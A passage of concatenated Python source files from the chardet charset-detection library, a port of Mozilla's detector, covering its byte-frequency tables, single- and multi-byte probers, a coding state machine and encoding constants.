4047,4488,7151,7152,4888,4048,2989,3888,7153,3665,7154,4049,7155,7156,7157,7158, # 6400
7159,7160,2931,4889,4890,4489,7161,2631,3889,4236,2779,7162,7163,4891,7164,3060, # 6416
7165,1672,4892,7166,4893,4237,3281,4894,7167,7168,3666,7169,3494,7170,7171,4050, # 6432
7172,7173,3104,3360,3420,4490,4051,2684,4052,7174,4053,7175,7176,7177,2253,4054, # 6448
7178,7179,4895,7180,3152,3890,3153,4491,3216,7181,7182,7183,2968,4238,4492,4055, # 6464
7184,2990,7185,2479,7186,7187,4493,7188,7189,7190,7191,7192,4896,7193,4897,2969, # 6480
4494,4898,7194,3495,7195,7196,4899,4495,7197,3105,2731,7198,4900,7199,7200,7201, # 6496
4056,7202,3361,7203,7204,4496,4901,4902,7205,4497,7206,7207,2315,4903,7208,4904, # 6512
7209,4905,2851,7210,7211,3577,7212,3578,4906,7213,4057,3667,4907,7214,4058,2354, # 6528
3891,2376,3217,3773,7215,7216,7217,7218,7219,4498,7220,4908,3282,2685,7221,3496, # 6544
4909,2632,3154,4910,7222,2337,7223,4911,7224,7225,7226,4912,4913,3283,4239,4499, # 6560
7227,2816,7228,7229,7230,7231,7232,7233,7234,4914,4500,4501,7235,7236,7237,2686, # 6576
7238,4915,7239,2897,4502,7240,4503,7241,2516,7242,4504,3362,3218,7243,7244,7245, # 6592
4916,7246,7247,4505,3363,7248,7249,7250,7251,3774,4506,7252,7253,4917,7254,7255, # 6608
3284,2991,4918,4919,3219,3892,4920,3106,3497,4921,7256,7257,7258,4922,7259,4923, # 6624
3364,4507,4508,4059,7260,4240,3498,7261,7262,4924,7263,2992,3893,4060,3220,7264, # 6640
7265,7266,7267,7268,7269,4509,3775,7270,2817,7271,4061,4925,4510,3776,7272,4241, # 6656
4511,3285,7273,7274,3499,7275,7276,7277,4062,4512,4926,7278,3107,3894,7279,7280, # 6672
4927,7281,4513,7282,7283,3668,7284,7285,4242,4514,4243,7286,2058,4515,4928,4929, # 6688
4516,7287,3286,4244,7288,4517,7289,7290,7291,3669,7292,7293,4930,4931,4932,2355, # 6704
4933,7294,2633,4518,7295,4245,7296,7297,4519,7298,7299,4520,4521,4934,7300,4246, # 6720
4522,7301,7302,7303,3579,7304,4247,4935,7305,4936,7306,7307,7308,7309,3777,7310, # 6736
4523,7311,7312,7313,4248,3580,7314,4524,3778,4249,7315,3581,7316,3287,7317,3221, # 6752
7318,4937,7319,7320,7321,7322,7323,7324,4938,4939,7325,4525,7326,7327,7328,4063, # 6768
7329,7330,4940,7331,7332,4941,7333,4526,7334,3500,2780,1741,4942,2026,1742,7335, # 6784
7336,3582,4527,2388,7337,7338,7339,4528,7340,4250,4943,7341,7342,7343,4944,7344, # 6800
7345,7346,3020,7347,4945,7348,7349,7350,7351,3895,7352,3896,4064,3897,7353,7354, # 6816
7355,4251,7356,7357,3898,7358,3779,7359,3780,3288,7360,7361,4529,7362,4946,4530, # 6832
2027,7363,3899,4531,4947,3222,3583,7364,4948,7365,7366,7367,7368,4949,3501,4950, # 6848
3781,4951,4532,7369,2517,4952,4252,4953,3155,7370,4954,4955,4253,2518,4533,7371, # 6864
7372,2712,4254,7373,7374,7375,3670,4956,3671,7376,2389,3502,4065,7377,2338,7378, # 6880
7379,7380,7381,3061,7382,4957,7383,7384,7385,7386,4958,4534,7387,7388,2993,7389, # 6896
3062,7390,4959,7391,7392,7393,4960,3108,4961,7394,4535,7395,4962,3421,4536,7396, # 6912
4963,7397,4964,1857,7398,4965,7399,7400,2176,3584,4966,7401,7402,3422,4537,3900, # 6928
3585,7403,3782,7404,2852,7405,7406,7407,4538,3783,2654,3423,4967,4539,7408,3784, # 6944
3586,2853,4540,4541,7409,3901,7410,3902,7411,7412,3785,3109,2327,3903,7413,7414, # 6960
2970,4066,2932,7415,7416,7417,3904,3672,3424,7418,4542,4543,4544,7419,4968,7420, # 6976
7421,4255,7422,7423,7424,7425,7426,4067,7427,3673,3365,4545,7428,3110,2559,3674, # 6992
7429,7430,3156,7431,7432,3503,7433,3425,4546,7434,3063,2873,7435,3223,4969,4547, # 7008
4548,2898,4256,4068,7436,4069,3587,3786,2933,3787,4257,4970,4971,3788,7437,4972, # 7024
3064,7438,4549,7439,7440,7441,7442,7443,4973,3905,7444,2874,7445,7446,7447,7448, # 7040
3021,7449,4550,3906,3588,4974,7450,7451,3789,3675,7452,2578,7453,4070,7454,7455, # 7056
7456,4258,3676,7457,4975,7458,4976,4259,3790,3504,2634,4977,3677,4551,4260,7459, # 7072
7460,7461,7462,3907,4261,4978,7463,7464,7465,7466,4979,4980,7467,7468,2213,4262, # 7088
7469,7470,7471,3678,4981,7472,2439,7473,4263,3224,3289,7474,3908,2415,4982,7475, # 7104
4264,7476,4983,2655,7477,7478,2732,4552,2854,2875,7479,7480,4265,7481,4553,4984, # 7120
7482,7483,4266,7484,3679,3366,3680,2818,2781,2782,3367,3589,4554,3065,7485,4071, # 7136
2899,7486,7487,3157,2462,4072,4555,4073,4985,4986,3111,4267,2687,3368,4556,4074, # 7152
3791,4268,7488,3909,2783,7489,2656,1962,3158,4557,4987,1963,3159,3160,7490,3112, # 7168
4988,4989,3022,4990,4991,3792,2855,7491,7492,2971,4558,7493,7494,4992,7495,7496, # 7184
7497,7498,4993,7499,3426,4559,4994,7500,3681,4560,4269,4270,3910,7501,4075,4995, # 7200
4271,7502,7503,4076,7504,4996,7505,3225,4997,4272,4077,2819,3023,7506,7507,2733, # 7216
4561,7508,4562,7509,3369,3793,7510,3590,2508,7511,7512,4273,3113,2994,2616,7513, # 7232
7514,7515,7516,7517,7518,2820,3911,4078,2748,7519,7520,4563,4998,7521,7522,7523, # 7248
7524,4999,4274,7525,4564,3682,2239,4079,4565,7526,7527,7528,7529,5000,7530,7531, # 7264
5001,4275,3794,7532,7533,7534,3066,5002,4566,3161,7535,7536,4080,7537,3162,7538, # 7280
7539,4567,7540,7541,7542,7543,7544,7545,5003,7546,4568,7547,7548,7549,7550,7551, # 7296
7552,7553,7554,7555,7556,5004,7557,7558,7559,5005,7560,3795,7561,4569,7562,7563, # 7312
7564,2821,3796,4276,4277,4081,7565,2876,7566,5006,7567,7568,2900,7569,3797,3912, # 7328
7570,7571,7572,4278,7573,7574,7575,5007,7576,7577,5008,7578,7579,4279,2934,7580, # 7344
7581,5009,7582,4570,7583,4280,7584,7585,7586,4571,4572,3913,7587,4573,3505,7588, # 7360
5010,7589,7590,7591,7592,3798,4574,7593,7594,5011,7595,4281,7596,7597,7598,4282, # 7376
5012,7599,7600,5013,3163,7601,5014,7602,3914,7603,7604,2734,4575,4576,4577,7605, # 7392
7606,7607,7608,7609,3506,5015,4578,7610,4082,7611,2822,2901,2579,3683,3024,4579, # 7408
3507,7612,4580,7613,3226,3799,5016,7614,7615,7616,7617,7618,7619,7620,2995,3290, # 7424
7621,4083,7622,5017,7623,7624,7625,7626,7627,4581,3915,7628,3291,7629,5018,7630, # 7440
7631,7632,7633,4084,7634,7635,3427,3800,7636,7637,4582,7638,5019,4583,5020,7639, # 7456
3916,7640,3801,5021,4584,4283,7641,7642,3428,3591,2269,7643,2617,7644,4585,3592, # 7472
7645,4586,2902,7646,7647,3227,5022,7648,4587,7649,4284,7650,7651,7652,4588,2284, # 7488
7653,5023,7654,7655,7656,4589,5024,3802,7657,7658,5025,3508,4590,7659,7660,7661, # 7504
1969,5026,7662,7663,3684,1821,2688,7664,2028,2509,4285,7665,2823,1841,7666,2689, # 7520
3114,7667,3917,4085,2160,5027,5028,2972,7668,5029,7669,7670,7671,3593,4086,7672, # 7536
4591,4087,5030,3803,7673,7674,7675,7676,7677,7678,7679,4286,2366,4592,4593,3067, # 7552
2328,7680,7681,4594,3594,3918,2029,4287,7682,5031,3919,3370,4288,4595,2856,7683, # 7568
3509,7684,7685,5032,5033,7686,7687,3804,2784,7688,7689,7690,7691,3371,7692,7693, # 7584
2877,5034,7694,7695,3920,4289,4088,7696,7697,7698,5035,7699,5036,4290,5037,5038, # 7600
5039,7700,7701,7702,5040,5041,3228,7703,1760,7704,5042,3229,4596,2106,4089,7705, # 7616
4597,2824,5043,2107,3372,7706,4291,4090,5044,7707,4091,7708,5045,3025,3805,4598, # 7632
4292,4293,4294,3373,7709,4599,7710,5046,7711,7712,5047,5048,3806,7713,7714,7715, # 7648
5049,7716,7717,7718,7719,4600,5050,7720,7721,7722,5051,7723,4295,3429,7724,7725, # 7664
7726,7727,3921,7728,3292,5052,4092,7729,7730,7731,7732,7733,7734,7735,5053,5054, # 7680
7736,7737,7738,7739,3922,3685,7740,7741,7742,7743,2635,5055,7744,5056,4601,7745, # 7696
7746,2560,7747,7748,7749,7750,3923,7751,7752,7753,7754,7755,4296,2903,7756,7757, # 7712
7758,7759,7760,3924,7761,5057,4297,7762,7763,5058,4298,7764,4093,7765,7766,5059, # 7728
3925,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,3595,7777,4299,5060,4094, # 7744
7778,3293,5061,7779,7780,4300,7781,7782,4602,7783,3596,7784,7785,3430,2367,7786, # 7760
3164,5062,5063,4301,7787,7788,4095,5064,5065,7789,3374,3115,7790,7791,7792,7793, # 7776
7794,7795,7796,3597,4603,7797,7798,3686,3116,3807,5066,7799,7800,5067,7801,7802, # 7792
4604,4302,5068,4303,4096,7803,7804,3294,7805,7806,5069,4605,2690,7807,3026,7808, # 7808
7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824, # 7824
7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7840
7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855,7856, # 7856
7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871,7872, # 7872
7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887,7888, # 7888
7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903,7904, # 7904
7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919,7920, # 7920
7921,7922,7923,7924,3926,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, # 7936
7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, # 7952
7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, # 7968
7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, # 7984
7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, # 8000
8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, # 8016
8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, # 8032
8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, # 8048
8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, # 8064
8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, # 8080
8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, # 8096
8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, # 8112
8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, # 8128
8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, # 8144
8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, # 8160
8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, # 8176
8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, # 8192
8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, # 8208
8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, # 8224
8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, # 8240
8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, # 8256
8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271) # 8272

# flake8: noqa






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .charsetgroupprober import CharSetGroupProber
from .sbcharsetprober import SingleByteCharSetProber
from .langcyrillicmodel import (Win1251CyrillicModel, Koi8rModel,
                                Latin5CyrillicModel, MacCyrillicModel,
                                Ibm866Model, Ibm855Model)
from .langgreekmodel import Latin7GreekModel, Win1253GreekModel
from .langbulgarianmodel import Latin5BulgarianModel, Win1251BulgarianModel
from .langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel
from .langthaimodel import TIS620ThaiModel
from .langhebrewmodel import Win1255HebrewModel
from .hebrewprober import HebrewProber


class SBCSGroupProber(CharSetGroupProber):
    def __init__(self):
        CharSetGroupProber.__init__(self)
        self._mProbers = [
            SingleByteCharSetProber(Win1251CyrillicModel),
            SingleByteCharSetProber(Koi8rModel),
            SingleByteCharSetProber(Latin5CyrillicModel),
            SingleByteCharSetProber(MacCyrillicModel),
            SingleByteCharSetProber(Ibm866Model),
            SingleByteCharSetProber(Ibm855Model),
            SingleByteCharSetProber(Latin7GreekModel),
            SingleByteCharSetProber(Win1253GreekModel),
            SingleByteCharSetProber(Latin5BulgarianModel),
            SingleByteCharSetProber(Win1251BulgarianModel),
            SingleByteCharSetProber(Latin2HungarianModel),
            SingleByteCharSetProber(Win1250HungarianModel),
            SingleByteCharSetProber(TIS620ThaiModel),
        ]
        hebrewProber = HebrewProber()
        logicalHebrewProber = SingleByteCharSetProber(Win1255HebrewModel,
                                                      False, hebrewProber)
        visualHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, True,
                                                     hebrewProber)
        hebrewProber.set_model_probers(logicalHebrewProber, visualHebrewProber)
        self._mProbers.extend([hebrewProber, logicalHebrewProber,
                               visualHebrewProber])

        self.reset()






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# 255: Control characters that usually does not exist in any text
# 254: Carriage/Return
# 253: symbol (punctuation) that does not belong to word
# 252: 0 - 9

# Character Mapping Table:





######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

import sys
from . import constants
from .charsetprober import CharSetProber
from .compat import wrap_ord

SAMPLE_SIZE = 64
SB_ENOUGH_REL_THRESHOLD = 1024
POSITIVE_SHORTCUT_THRESHOLD = 0.95
NEGATIVE_SHORTCUT_THRESHOLD = 0.05
SYMBOL_CAT_ORDER = 250
NUMBER_OF_SEQ_CAT = 4
POSITIVE_CAT = NUMBER_OF_SEQ_CAT - 1
#NEGATIVE_CAT = 0


class SingleByteCharSetProber(CharSetProber):
    def __init__(self, model, reversed=False, nameProber=None):
        CharSetProber.__init__(self)
        self._mModel = model
        # TRUE if we need to reverse every pair in the model lookup
        self._mReversed = reversed
        # Optional auxiliary prober for name decision
        self._mNameProber = nameProber
        self.reset()

    def reset(self):
        CharSetProber.reset(self)
        # char order of last character
        self._mLastOrder = 255
        self._mSeqCounters = [0] * NUMBER_OF_SEQ_CAT
        self._mTotalSeqs = 0
        self._mTotalChar = 0
        # characters that fall in our sampling range
        self._mFreqChar = 0

    def get_charset_name(self):
        if self._mNameProber:
            return self._mNameProber.get_charset_name()
        else:
            return self._mModel['charsetName']

    def feed(self, aBuf):
        if not self._mModel['keepEnglishLetter']:
            aBuf = self.filter_without_english_letters(aBuf)
        aLen = len(aBuf)
        if not aLen:
            return self.get_state()
        for c in aBuf:
            order = self._mModel['charToOrderMap'][wrap_ord(c)]
            if order < SYMBOL_CAT_ORDER:
                self._mTotalChar += 1
            if order < SAMPLE_SIZE:
                self._mFreqChar += 1
                if self._mLastOrder < SAMPLE_SIZE:
                    self._mTotalSeqs += 1
                    if not self._mReversed:
                        i = (self._mLastOrder * SAMPLE_SIZE) + order
                        model = self._mModel['precedenceMatrix'][i]
                    else:  # reverse the order of the letters in the lookup
                        i = (order * SAMPLE_SIZE) + self._mLastOrder
                        model = self._mModel['precedenceMatrix'][i]
                    self._mSeqCounters[model] += 1
            self._mLastOrder = order

        if self.get_state() == constants.eDetecting:
            if self._mTotalSeqs > SB_ENOUGH_REL_THRESHOLD:
                cf = self.get_confidence()
                if cf > POSITIVE_SHORTCUT_THRESHOLD:
                    if constants._debug:
                        sys.stderr.write('%s confidence = %s, we have a'
                                         'winner\n' %
                                         (self._mModel['charsetName'], cf))
                    self._mState = constants.eFoundIt
                elif cf < NEGATIVE_SHORTCUT_THRESHOLD:
                    if constants._debug:
                        sys.stderr.write('%s confidence = %s, below negative'
                                         'shortcut threshhold %s\n' %
                                         (self._mModel['charsetName'], cf,
                                          NEGATIVE_SHORTCUT_THRESHOLD))
                    self._mState = constants.eNotMe

        return self.get_state()

    def get_confidence(self):
        r = 0.01
        if self._mTotalSeqs > 0:
            r = ((1.0 * self._mSeqCounters[POSITIVE_CAT]) / self._mTotalSeqs
                 / self._mModel['mTypicalPositiveRatio'])
            r = r * self._mFreqChar / self._mTotalChar
            if r >= 1.0:
                r = 0.99
        return r






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
# 
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
# 
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .mbcharsetprober import MultiByteCharSetProber
from .codingstatemachine import CodingStateMachine
from .chardistribution import GB2312DistributionAnalysis
from .mbcssm import GB2312SMModel

class GB2312Prober(MultiByteCharSetProber):
    def __init__(self):
        MultiByteCharSetProber.__init__(self)
        self._mCodingSM = CodingStateMachine(GB2312SMModel)
        self._mDistributionAnalyzer = GB2312DistributionAnalysis()
        self.reset()

    def get_charset_name(self):
        return "GB2312"






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# 255: Control characters that usually does not exist in any text
# 254: Carriage/Return
# 253: symbol (punctuation) that does not belong to word
# 252: 0 - 9

# Character Mapping Table:
# this table is modified base on win1251BulgarianCharToOrderMap, so
# only number <64 is sure valid

Latin5BulgarianModel = {
  'charToOrderMap': Latin5_BulgarianCharToOrderMap,
  'precedenceMatrix': BulgarianLangModel,
  'mTypicalPositiveRatio': 0.969392,
  'keepEnglishLetter': False,
  'charsetName': "ISO-8859-5"
}

Win1251BulgarianModel = {
  'charToOrderMap': win1251BulgarianCharToOrderMap,
  'precedenceMatrix': BulgarianLangModel,
  'mTypicalPositiveRatio': 0.969392,
  'keepEnglishLetter': False,
  'charsetName': "windows-1251"
}


# flake8: noqa






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .constants import eStart
from .compat import wrap_ord


class CodingStateMachine:
    def __init__(self, sm):
        self._mModel = sm
        self._mCurrentBytePos = 0
        self._mCurrentCharLen = 0
        self.reset()

    def reset(self):
        self._mCurrentState = eStart

    def next_state(self, c):
        # for each byte we get its class
        # if it is first byte, we also get byte length
        # PY3K: aBuf is a byte stream, so c is an int, not a byte
        byteCls = self._mModel['classTable'][wrap_ord(c)]
        if self._mCurrentState == eStart:
            self._mCurrentBytePos = 0
            self._mCurrentCharLen = self._mModel['charLenTable'][byteCls]
        # from byte's class and stateTable, we get its next state
        curr_state = (self._mCurrentState * self._mModel['classFactor']
                      + byteCls)
        self._mCurrentState = self._mModel['stateTable'][curr_state]
        self._mCurrentBytePos += 1
        return self._mCurrentState

    def get_current_charlen(self):
        return self._mCurrentCharLen

    def get_coding_state_machine(self):
        return self._mModel['name']






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
# 
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
# 
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .mbcharsetprober import MultiByteCharSetProber
from .codingstatemachine import CodingStateMachine
from .chardistribution import EUCTWDistributionAnalysis
from .mbcssm import EUCTWSMModel

class EUCTWProber(MultiByteCharSetProber):
    def __init__(self):
        MultiByteCharSetProber.__init__(self)
        self._mCodingSM = CodingStateMachine(EUCTWSMModel)
        self._mDistributionAnalyzer = EUCTWDistributionAnalysis()
        self.reset()

    def get_charset_name(self):
        return "EUC-TW"






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# GB2312 most frequently used character table
#
# Char to FreqOrder table , from hz6763

# 512  --> 0.79  -- 0.79
# 1024 --> 0.92  -- 0.13
# 2048 --> 0.98  -- 0.06
# 6768 --> 1.00  -- 0.02
#
# Ideal Distribution Ratio = 0.79135/(1-0.79135) = 3.79
# Random Distribution Ration = 512 / (3755 - 512) = 0.157
#
# Typical Distribution Ratio about 25% of Ideal one, still much higher that RDR

GB2312_TYPICAL_DISTRIBUTION_RATIO = 0.9

GB2312_TABLE_SIZE = 3760






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#   Proofpoint, Inc.
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .charsetgroupprober import CharSetGroupProber
from .utf8prober import UTF8Prober
from .sjisprober import SJISProber
from .eucjpprober import EUCJPProber
from .gb2312prober import GB2312Prober
from .euckrprober import EUCKRProber
from .cp949prober import CP949Prober
from .big5prober import Big5Prober
from .euctwprober import EUCTWProber


class MBCSGroupProber(CharSetGroupProber):
    def __init__(self):
        CharSetGroupProber.__init__(self)
        self._mProbers = [
            UTF8Prober(),
            SJISProber(),
            EUCJPProber(),
            GB2312Prober(),
            EUCKRProber(),
            CP949Prober(),
            Big5Prober(),
            EUCTWProber()
        ]
        self.reset()






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
# 
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
# 
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

_debug = 0

eDetecting = 0
eFoundIt = 1
eNotMe = 2

eStart = 0
eError = 1
eItsMe = 2

SHORTCUT_THRESHOLD = 0.95






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
